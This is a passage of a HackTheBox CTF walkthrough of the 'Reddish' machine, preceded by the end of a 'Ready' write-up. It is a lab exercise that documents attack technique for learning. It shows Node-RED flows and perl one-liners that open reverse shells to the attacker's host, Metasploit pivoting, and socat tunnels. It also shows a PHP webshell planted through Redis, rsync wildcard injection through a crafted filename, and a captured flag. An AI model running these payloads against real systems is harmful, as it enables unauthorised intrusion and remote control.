   Simple, hardened, Kubernetes for production, from RaspberryPi to DC.

     https://microk8s.io/high-availability

170 updates can be installed immediately.
73 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Dec 14 16:49:36 2020 from 10.10.14.33
root@ready:~# id && whoami && hostname
uid=0(root) gid=0(root) groups=0(root)
root
ready
```

#### Summary of knowledge

 - GitLab 11.4.7 Remote Code Execution
 - password disclosure in /opt/backup/gitlab.rb
 - Escaping Docker Privileged Containers to read id_rsa file

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end ready -->

</details>

<a id="case-reddish"></a>

## 多层容器网络与备份任务

Node-RED、Redis、Web 与备份容器具有不同网络可达性。保留每层 IP、转发、rsync、cron、Dropbear 和原有自动化脚本。

<p class="kb-provenance">来源 reddish · 原记录 2020-07-19 · 69 个代码块 · 15 处图片引用</p>

<details class="kb-evidence" id="record-reddish">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start reddish -->

#### introduce

OS: Linux
Difficulty: Insane
Points:	50
Release: 21 Jul 2018
IP:	10.10.10.94

User Blood: 00 days, 12 hours, 36 mins, 39 seconds.
Root Blood: 00 days, 19 hours, 28 mins, 48 seconds.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb46.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
root@kali:~/hackthebox/machine/reddish# nmap -sV -v -p- 10.10.10.94 --min-rate=10000

PORT      STATE    SERVICE     VERSION
1880/tcp  open     http        Node.js Express framework
8181/tcp  filtered intermapper
33752/tcp filtered unknown
```

 - NodeRed - port 1880

NodeRed is a browser based editor to make flows for IoT devices and other technology to talk togetheri, and it runs on tcp 1880 by default.

send a POST with curl, and get back some json data:

``` bash
root@kali:~/hackthebox/machine/reddish# curl -X POST http://10.10.10.94:1880
{"id":"96752a0580c49f0f90f8977d70fe318c","ip":"::ffff:10.10.14.5","path":"/red/{id}"}
```

this may gave me a new path to try, let's visit following url:

``` bash
http://10.10.10.94:1880/red/96752a0580c49f0f90f8977d70fe318c
```
On visiting that path, now in the Node-Red editor:

The editor has items grouped as “input”, “output”, “function”, “social”, “storage”, “analysis”, and “advanced”. Clicking on any given item will load a description of the item in the panel on the right.

Items can be dragged into the center pane, and connected with wires. Once my flow is complete, I’ll hit “Deploy”, and the flow is live. Some inputs also have a button on their left side. That item will generate its output when the button is pressed. For example, this “inject” will output a timestamp when the button is pressed.

#### Code Execution and getShell in Node-Red

In playing around with the editor, built a few useful flows that will help with exploitation of Reddish. Flows show up nicely as images, but can also be imported/exported in json. Just go to the menu, import, clipboard, and paste in the json.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb47.jpg)

It will initiate the connection when the the flow to output > is sent to stdin of the tcp connection. The TCP connection will come back to me. Then whatever I send back is sent to exec. The output of that is formatted and a prompt is added, and then sent back into the TCP connection, where I’ll receive it. Here’s the export:

``` bash
[{"id":"3f7824bc.483a94","type":"tab","label":"Shell","disabled":false,"info":""},{"id":"9754e73a.fb7f5","type":"tcp request","z":"3f7824bc.483a94","server":"10.10.14.9","port":"9001","out":"sit","splitc":" ","name":"","x":520,"y":80,"wires":[["df9367ea.2fd12"]]},{"id":"df9367ea.2fd12","type":"exec","z":"3f7824bc.483a94","command":"","addpay":true,"append":"","useSpawn":"false","timer":"","oldrc":false,"name":"","x":170,"y":240,"wires":[["7cd3aeef.1a522"],["7cd3aeef.1a522"],[]]},{"id":"6a48f346.ccad1c","type":"inject","z":"3f7824bc.483a94","name":"","topic":"","payload":"> ","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":191.5,"y":50,"wires":[["9754e73a.fb7f5"]]},{"id":"7cd3aeef.1a522","type":"template","z":"3f7824bc.483a94","name":"results + prompt","field":"payload","fieldType":"msg","format":"handlebars","syntax":"mustache","template":"{{{payload}}}\n> ","output":"str","x":440,"y":240,"wires":[["9754e73a.fb7f5"]]}]
```

first import the commads then deploy it and click the button , then i recive a shell

``` bash
root@kali:~/hackthebox/machine/reddish# nc -lvp 9001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.94.
Ncat: Connection from 10.10.10.94:39270.
> id
uid=0(root) gid=0(root) groups=0(root)

> whoami
root
```

#### Callback Shell

In investigating the box, it’s incredibly bare: no python, python3, php, nc, ifconfig, netstat, arp. There is perl though.

I’ll use the perl reverse shell from 

 - [PentestMonkey](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)

to get a proper callback shell. The exec node runs a command. In this case, I’ll configure it to take input for the port, which is inserted into the middle of the command:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb48.jpg)

looks like:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb49.jpg)

``` bash
[{"id":"6fe6b87a.30d988","type":"tab","label":"Reverse_TCP","disabled":false,"info":""},{"id":"6caeb9ad.e39468","type":"inject","z":"6fe6b87a.30d988","name":"9002","topic":"","payload":"9002","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":150,"y":160,"wires":[["97f946aa.853548"]]},{"id":"97f946aa.853548","type":"exec","z":"6fe6b87a.30d988","command":"perl -e 'use Socket;$i=\"10.10.14.9\";$p=","addpay":true,"append":";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'","useSpawn":"false","timer":"","oldrc":false,"name":"perl rev shell","x":350,"y":160,"wires":[["e2dba6a9.bb9fe8"],["e2dba6a9.bb9fe8"],[]]},{"id":"e2dba6a9.bb9fe8","type":"debug","z":"6fe6b87a.30d988","name":"","active":true,"tosidebar":true,"console":false,"tostatus":false,"complete":"false","x":570,"y":160,"wires":[]}]
```

first import the commads then deploy it and click the button , then i recive a shell

``` bash
root@kali:~# nc -lvp 9002
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9002
Ncat: Listening on 0.0.0.0:9002
Ncat: Connection from 10.10.10.94.
Ncat: Connection from 10.10.10.94:46916.
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
```

#### File Upload

Since the box doesn’t have curl or wget or nc, created a file upload flow, that would callback to a given port, and then what it reads to /tmp/.df/upload:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb50.jpg)

The string “9003” is not used by the TCP node, just there because needed something, and it was a good visual reminder as to what port the flow expected.

#### nodered Container

#### Local Enumeration

The local box is quite bare. I’m already running as root. As mentioned before, almost none of programs I’d expect on a linux host are present. Also, none of the IP addresses match 10.10.10.94:

``` bash
# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00                                                 
    inet 127.0.0.1/8 scope host lo                                                                                 
       valid_lft forever preferred_lft forever                                                                       
7: eth1@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default                              
    link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff                                                                        
    inet 172.19.0.2/16 brd 172.19.255.255 scope global eth1                                                                     
       valid_lft forever preferred_lft forever                                                                                      
9: eth0@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default                                          
    link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff                                                                                      
    inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0                                                                                        
       valid_lft forever preferred_lft forever
```

conclude in a container, and didn’t find much else of interest in it.
Since in a container, start tracking what I know about it:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb51.jpg)

#### Network Enumeration

It’s fairly clear I need to move outside this container, and since there’s no obvious path to the host, I’ll look around the environment.

 - Check arp

The arp cache shows only the two .1 ips, which are likely the host:

``` bash
# cat /proc/net/arp
IP address       HW type     Flags       HW address            Mask     Device
172.19.0.1       0x1         0x2         02:42:bc:00:fb:35     *        eth1
172.18.0.1       0x1         0x2         02:42:de:ac:1d:ce     *        eth0
```

 - nmap Host

uploaded a 

 - [statically compiled nmap](https://github.com/andrew-d/static-binaries)

to check out the .1s:

``` bash
# ./nmap -p- -sT --min-rate 5000 172.18.0.1

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-07-24 10:57 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.18.0.1
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.00016s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE
1880/tcp open  unknown
MAC Address: 02:42:1F:A4:77:C3 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 15.01 seconds
# ./nmap -p- -sT --min-rate 5000 172.19.0.1

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-07-24 10:57 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.19.0.1
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.00013s latency).
Not shown: 65534 closed ports
PORT     STATE    SERVICE
1880/tcp filtered unknown
MAC Address: 02:42:F2:E9:5E:A1 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 14.98 seconds
```

 - Ping Sweep

Next start a ping sweep to look for other hosts/containers, and find two other hosts worth looking at in the 172.19.0.0/24 subnet. Based on my current ifconfig and my assumption about the .1s being the gateway, I can label the output leaving two unknowns:

``` bash
# for i in $(seq 1 254); do (ping -c 1 172.18.0.$i | grep "bytes from" | cut -d':' -f1 | cut -d' ' -f4 &); done
172.18.0.1  <-- host
172.18.0.2  <-- node-red container
# for i in $(seq 1 254); do (ping -c 1 172.19.0.$i | grep "bytes from" | cut -d':' -f1 | cut -d' ' -f4 &); done                    
172.19.0.2
172.19.0.1  <-- host
172.19.0.3  <-- nodered container
172.19.0.4
```

got two new hosts to track:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb52.jpg)

#### Pivoting

#### Overview

There’s many ways to set up tunnels to allow my pivot here. A few that come to mind are:

 - Get a meterpreter session with nodered, and use the portfwd capability to tunnel from my local box into the network (like ssh tunneling).

 - Copy an ssh client to nodered, and ssh back into my kali box with a reverse tunnel.

 - Build a listening interface (likely web) with NodeRed, and use that to tunnel traffic.

 - Using software designed for tunneling.

#### Getting Meterpreter

Open a handler with payload linux/x64/shell/reverse_tcp, and catch a callback from flow:

``` bash
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x64/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  9002             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > set lhost 10.10.14.9
lhost => 10.10.14.9
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.9:9002 
[*] Sending stage (38 bytes) to 10.10.10.94
[*] Command shell session 1 opened (10.10.14.9:9002 -> 10.10.10.94:47014) at 2020-07-25 12:40:43 -0400

id
/bin/sh: 1: j^H��j!Xu�j: not found
/bin/sh: 1: X�H�/bin/shSH��RWH��id: not found
```

For some reason, the first command run in this new shell can be garbage and fail. After making sure to get that out of the way, I’ll background the session (ctrl-z):

``` bash
# id
uid=0(root) gid=0(root) groups=0(root)
# ^Z
Background session 1? [y/N]  y
```
Metasploit has a built in upgrade path to Meterpreter using sessions -u:

``` bash
msf5 exploit(multi/handler) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.14.9:4433 
[*] Sending stage (985320 bytes) to 10.10.10.94
[*] Command stager progress: 100.00% (773/773 bytes)
msf5 exploit(multi/handler) > [*] Meterpreter session 2 opened (10.10.14.9:4433 -> 10.10.10.94:50690) at 2020-07-25 12:41:29 -0400

msf5 exploit(multi/handler) > 
[*] Stopping exploit/multi/handler

msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                             Connection
  --  ----  ----                   -----------                                             ----------
  1         shell x64/linux        /bin/sh: 0: can't access tty; job control turned off #  10.10.14.9:9002 -> 10.10.10.94:47014 (10.10.10.94)
  2         meterpreter x86/linux  uid=0, gid=0, euid=0, egid=0 @ 172.18.0.2               10.10.14.9:4433 -> 10.10.10.94:50690 (172.18.0.2)

msf5 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter >
```

#### www redis Containers
#### Note About IPs

One thing to note - on each reset / boot, Docker seems to randomize the IP addresses of the three containers, nodered, www, and redis. They always seem to be .2, .3, and .4, but which is which is something I need to determine each time. For the sake of this post, I’m working with redis as .2, nodered as .3, and www as .4.

#### nmap

Get an nmap scan of these two new hosts:

``` bash
# ./nmap -p- -sT --min-rate 5000 172.19.0.2

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-07-24 11:19 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for reddish_composition_redis_1.reddish_composition_internal-network (172.19.0.2)                                                                       
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.00016s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE
6379/tcp open  unknown
MAC Address: 02:42:AC:13:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.49 seconds
# ./nmap -p- -sT --min-rate 5000 172.19.0.4

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-07-24 11:19 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for reddish_composition_www_1.reddish_composition_internal-network (172.19.0.3)                                                                         
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.00016s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 02:42:AC:13:00:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.39 seconds
```

can see the docker names, reddish_composition_redis_1 and reddish_composition_www_1, and the listening ports which fit for each server, 6379 for redis, and 80 for www.

#### Web Site

 - Access
I’ll use the meterpreter shell to port forward localhost 80 through the session to 172.19.0.3:

``` bash
meterpreter > portfwd add -l 80 -r 172.19.0.3 -p 80
[*] Local TCP relay created: :80 <-> 172.19.0.3:80
```

Visiting http://127.0.0.1/ gives the page:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb53.jpg)

 - Javascript
Much more interesting than the displayed page is the javascript in the source:

``` bash
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
        <title>Reddish</title>
        <script src="assets/jquery.js" type="text/javascript"></script>
        <script type="text/javascript">
						$(document).ready(function () {
								incrCounter();
						    getData();
						});

						function getData() {
						    $.ajax({
						        url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=get hits",
						        cache: false,
						        dataType: "text",
						        success: function (data) {
											console.log("Number of hits:", data)
						        },
						        error: function () {
						        }
						    });
						}

						function incrCounter() {
						    $.ajax({
						        url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=incr hits",
						        cache: false,
						        dataType: "text",
						        success: function (data) {
				              console.log("HITS incremented:", data);
						        },
						        error: function () {
						        }
						    });
						}

						/*
							* TODO
							*
							* 1. Share the web folder with the database container (Done)
							* 2. Add here the code to backup databases in /f187a0ec71ce99642e4f0afbd441a68b folder
							* ...Still don't know how to complete it...
						*/
						function backupDatabase() {
								$.ajax({
										url: "8924d0549008565c554f8128cd11fda4/ajax.php?backup=...",
										cache: false,
										dataType: "text",
										success: function (data) {
											console.log("Database saved:", data);
										},
										error: function () {
										}
								});
						}
		</script>
    </head>
    <body><h1>It works!</h1>
    <p>This is the default web page for this server.</p>
    <p>The web server software is running but no content has been added, yet.</p>
    </body>
</html>
```

There’s two important take-aways from this source:

 - 1.There are ajax calls to 8924d0549008565c554f8128cd11fda4/ajax.php. Based on the parameters values for the text of get hits and incr hits (which look like redis commands), I can hypothesize that these commands are executed on the redis database.

 - There’s some self-proclaimed incomplete code having to do with backing up that database. It does indicate that the web folder is shared with the database container.

I can also test out these function in the firefox debug console:

``` bash
13:17:49.521 getData()
13:17:49.668 undefined
13:17:51.757 Number of hits: 1 127.0.0.1:19:20
13:17:59.877 incrCounter()
13:17:59.884 undefined
13:18:05.446 getData()
13:18:05.453 undefined
13:18:07.953 Number of hits: 2
```

What about trying to exercise the backup function? Visiting

``` bash
http://127.0.0.1/8924d0549008565c554f8128cd11fda4/ajax.php?backup=/etc/passwd
```

eventually has a timeout, which makes sense since the comments said it was not yet implemented:

``` bash
Fatal error: Uncaught Exception: Cant read line from socket. in /var/www/html/8924d0549008565c554f8128cd11fda4/lib/Client.php:74 Stack trace: #0 /var/www/html/8924d0549008565c554f8128cd11fda4/lib/Client.php(101): Client->readLine() #1 /var/www/html/8924d0549008565c554f8128cd11fda4/ajax.php(9): Client->sendCmd(NULL) #2 {main} thrown in /var/www/html/8924d0549008565c554f8128cd11fda4/lib/Client.php on line 74
```

This error message does give me the absolute web path, which is the default apache path

``` bash
/var/www/html
```

#### Database

So I can do some interaction with the database through the website and JavaScript… But I can also interact directly with the Redis database.
Just like with www, I’ll use meterpreter to set up a tunnel into the subnet with www and redis:

``` bash
meterpreter > portfwd add -l 6379 -r 172.19.0.4 -p 6379
[*] Local TCP relay created: :6379 <-> 172.19.0.4:6379
```

do basic enumeration with nc:

``` bash
root@kali:~# nc 127.0.0.1 6379
get hits
$1
2
incr hits
:3
get hits
$1
3
incr hits
:4
get hits
$1
4
```

install redis-cli for interaction with the db:

apt-get install redis-tools

``` bash
root@kali:~# redis-cli   # by default, connects to localhost 6379
127.0.0.1:6379> incr hits
(integer) 5
(0.58s)
127.0.0.1:6379> incr hits
(integer) 6
(0.57s)
127.0.0.1:6379> incr hits
(integer) 7
(0.58s)
127.0.0.1:6379> get hits
"7"
(0.63s)
```

#### WebShell

[This post](https://packetstormsecurity.com/files/134200/Redis-Remote-Command-Execution.html) on PacketStorm details how I can use Redis to write arbitrary files on disk. I can flush the database, write some data into it, and then back it up to a target location. The article talks about writing an SSH key. SSH isn’t enabled here, but, because I know that the database server shares disk space with www, I can write a web shell.

 - Exploit Limitations

This isn’t by any means perfect. For example, the database will compress repeated text patterns, so could I lose some of the text I want to write. So for example, when I tried to write <br/> into multiple places in a php file, only the first actually made it through as desired. Even if I tried using <br/> and <br />, the second <br was replaced with binary data. Similarly, when I wrote a command to get a perl reverse shell, the pattern ,">&S"); was replaced and thus broke the script.

 - Exploit to WebShell
Luckily for me, I can write a simple php webshell, and there’s no repeats, and php doesn’t care about garbage before or after the shell.

Steps (all in redis-cli):

 - flush the database
 - write shell to database
 - set directory
 - set filename
 - save

``` bash
root@kali:~# cat redis.txt 




<?php system($_REQUEST['cmd']); ?>




root@kali:~# redis-cli -h 127.0.0.1  flushall
OK
root@kali:~# cat redis.txt | redis-cli -x set crackit
OK
root@kali:~# redis-cli
127.0.0.1:6379> config set dir /var/www/html/8924d0549008565c554f8128cd11fda4/
OK
(0.60s)
127.0.0.1:6379> config set dbfilename "df.php"
OK
(0.60s)
127.0.0.1:6379> save
OK
(0.58s)
```

Now check out http://127.0.0.1/8924d0549008565c554f8128cd11fda4/df.php?cmd=id:

``` bash
REDIS0008� redis-ver4.0.9� redis-bits�@�ctime�}_�used-mem¨? �aof-preamble���crackit+ uid=33(www-data) gid=33(www-data) groups=33(www-data) ��Z",���
```

hostname shows the host is named www:

``` bash
REDIS0008� redis-ver4.0.9� redis-bits�@�ctime�}_�used-mem¨? �aof-preamble���crackit+ www ��Z",���
```

#### Script Redis WebShell

The files in the web directory seem to be cleared out every 3 minutes (I’ll confirm this soon), so scripted the upload:

upload_shell.sh

``` bash
#!/bin/sh

redis-cli -h 127.0.0.1 flushall
cat redis.txt | redis-cli -h 127.0.0.1 -x set crackit
redis-cli -h 127.0.0.1 config set dir /var/www/html/8924d0549008565c554f8128cd11fda4/
redis-cli -h 127.0.0.1 config set dbfilename "df.php"
redis-cli -h 127.0.0.1 save
```

then run the script:

``` bash
root@kali:~/hackthebox/machine/reddish# ./upload_shell.sh 
OK
OK
OK
OK
OK
```

#### Interactive Shell

 - Connectivity socat

It doesn’t look like I can connect all the back to kali from this host. which ping returns /bin/ping, but trying to ping 10.10.14.9 doesn’t result in anything when watching in tcpdump. When I try to ping 172.19.0.3 (nodered), I get results

So I need to pivot through nodered. I’ll upload a static copy of socat to the box using the Node-Red flow for upload. Now I can use socat one of two ways:

 - Relay traffic through nodered back to kali
 - Catch the callback on nodered

do the first one, so in the shell on nodered, create a tunnel:

``` bash
# pwd
/tmp
# ./socat tcp-listen:223,fork tcp:10.10.14.9:223 &
```

That will run in the background, and forward any traffic that hits port 223 on nodered to my workstation on port 223.

 - Execution
And, like nodered, there’s a limited toolset available. Luckily, perl is still present (a phrase I never thought I’d say).

To get this working, it took a fair amount of playing with the url encoding. In the end, I had success by visiting the following url in a browser:

``` bash
http://127.0.0.1/8924d0549008565c554f8128cd11fda4/df.php?cmd=perl%20-e%20%27use%20Socket%3b$i%3d%22172.19.0.2%22%3b$p%3d223%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname(%22tcp%22))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,%22%3E%26S%22)%3bopen(STDOUT,%22%3E%26S%22)%3bopen(STDERR,%22%3E%26S%22)%3bexec(%22/bin/sh+-i%22)%3b}%3b%27
```

then we got the shell

``` bash
root@kali:~# nc -lvp 223
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::223
Ncat: Listening on 0.0.0.0:223
Ncat: Connection from 10.10.10.94.
Ncat: Connection from 10.10.10.94:50210.
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
11: eth0@if12: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:13:00:03 brd ff:ff:ff:ff:ff:ff
    inet 172.19.0.3/16 brd 172.19.255.255 scope global eth0
       valid_lft forever preferred_lft forever
13: eth1@if14: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:14:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.20.0.2/16 brd 172.20.255.255 scope global eth1
       valid_lft forever preferred_lft forever
$ ls -la
total 24
drwxr-xr-x 2 1000 1000 4096 Jul 16  2018 .
drwxr-xr-x 5 root root 4096 Jul 15  2018 ..
lrwxrwxrwx 1 root root    9 Jul 16  2018 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000  220 Apr 23  2018 .bash_logout
-rw-r--r-- 1 1000 1000 3771 Apr 23  2018 .bashrc
-rw-r--r-- 1 1000 1000  655 Apr 23  2018 .profile
-r-------- 1 1000 1000   33 Apr 23  2018 user.txt
```

ajax.php, which shows the commands running at the redis server:

``` bash
$ cat ajax.php
<?php

require_once 'lib/Autoloader.php';
Autoloader::register();
$json = new JsonResult();
$config = new Config();
foreach ($config->getPool() as $key => $server) {
        $client = new Client($server);
        $result = $client->sendCmd($_GET['test']);
        echo $result;
}
```

#### Privesc www-data to usertxt

#### Identifying Backup Cron

To get to user.txt, I’ll need to privesc. Looking around the box, there wasn’t a ton going on, so I decided to look for interesting processes starting and stopping. I’ve been a huge fan of pspy in the past for this, but since I’m two hops deep at this point, I’ll just using a bash script:

``` bash
#!/bin/bash

IFS=$'\n'

old=$(ps -eo command)
while true; do
    new=$(ps -eo command)
    diff <(echo "$old") <(echo "$new") | grep [\<\>]
    sleep .3
    old=$new
done
```

Running it shows some interesting scripts being run about every 3 minutes:

``` bash
$ ./proc.sh
> /usr/sbin/CRON
> /bin/sh -c sh /backup/backup.sh
> sh /backup/backup.sh
> rsync -a rsync://backup:873/src/backup/ /var/www/html/
> rsync -a rsync://backup:873/src/backup/ /var/www/html/
```

Looking at /backup/backup.sh, it is saving the database, then removing the web folders and bringing them back in from a host named backup:

``` bash
$ cat /backup/backup.sh
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
```

 - Exploiting the Wildcard

I can exploit the command rsync -a *.rdb rsync://backup:873/src/rdb, specifically the wildcard character. Because of how Unix handles wildcards, I can create a file named -e sh p.rdb, and that will evaluate to run sh p.rdb. The technique is detailed [here](https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt).

I’ll first set up a tunnel on nodered:

``` bash
# ./socat tcp-listen:9010,fork tcp:10.10.14.9:9010 &
```

Now write a perl reverse shell into a file and create the other file to run it. I’ll use base64 to easily move small files back and forth:

``` bash
root@kali:~/hackthebox/machine/reddish# cat shell.txt 
perl -e 'use Socket;$i="172.19.0.2";$p=9010;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
root@kali:~/hackthebox/machine/reddish# cat shell.txt | base64
cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjE5LjAuMiI7JHA9OTAxMDtzb2NrZXQoUyxQRl9J
TkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2th
ZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQs
Ij4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTsnCg==
```

I’ll create my reverse shell script as p.rdb, and then create the file that will call that abusing the wildcard with touch:

``` bash
$ echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjE5LjAuMiI7JHA9OTAxMDtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTsnCg== | base64 -d > /var/www/html/f187a0ec71ce99642e4f0afbd441a68b/p.rdb
$ touch /var/www/html/f187a0ec71ce99642e4f0afbd441a68b/-e\ sh\ p.rdb
```

When the cron runs, I’ll catch a callback as root on www when the backup script runs:

and grab user.txt:

``` bash
root@kali:~# nc -lvp 9010
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9010
Ncat: Listening on 0.0.0.0:9010
Ncat: Connection from 10.10.10.94.
Ncat: Connection from 10.10.10.94:54802.
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# pwd
/var/www/html/f187a0ec71ce99642e4f0afbd441a68b
# cd /home
# ls
bergamotto
lost+found
somaro
# cd somaro
# ls
user.txt
# cat user.txt
c09aca7cb02c968b1e9637d51661f129
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb54.jpg)

#### File Upload to www

To move to the next steps, I’ll want to get files uploaded to www, which is challenging without curl, wget, or nc. Here’s how I do it:

Start a tunnel on nodered that will listen (in this case on 8080) and forward that to my host:

``` bash
# ./socat TCP-LISTEN:8080,fork TCP:10.10.14.9:8888 &
```

Use perl to request file:

``` bash
# perl -e 'use File::Fetch; my $url = "http://172.19.0.2:8080/socat"; my $ff = File::Fetch->new(uri => $url); my $file = $ff->fetch() or die $ff->error;'
```

Serve from workstation:

``` bash
root@kali:~/hackthebox/machine/reddish# python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.10.94 - - [25/Jul/2020 16:39:20] "GET /socat HTTP/1.1" 304 -
```

#### backup Container
#### Enumeration

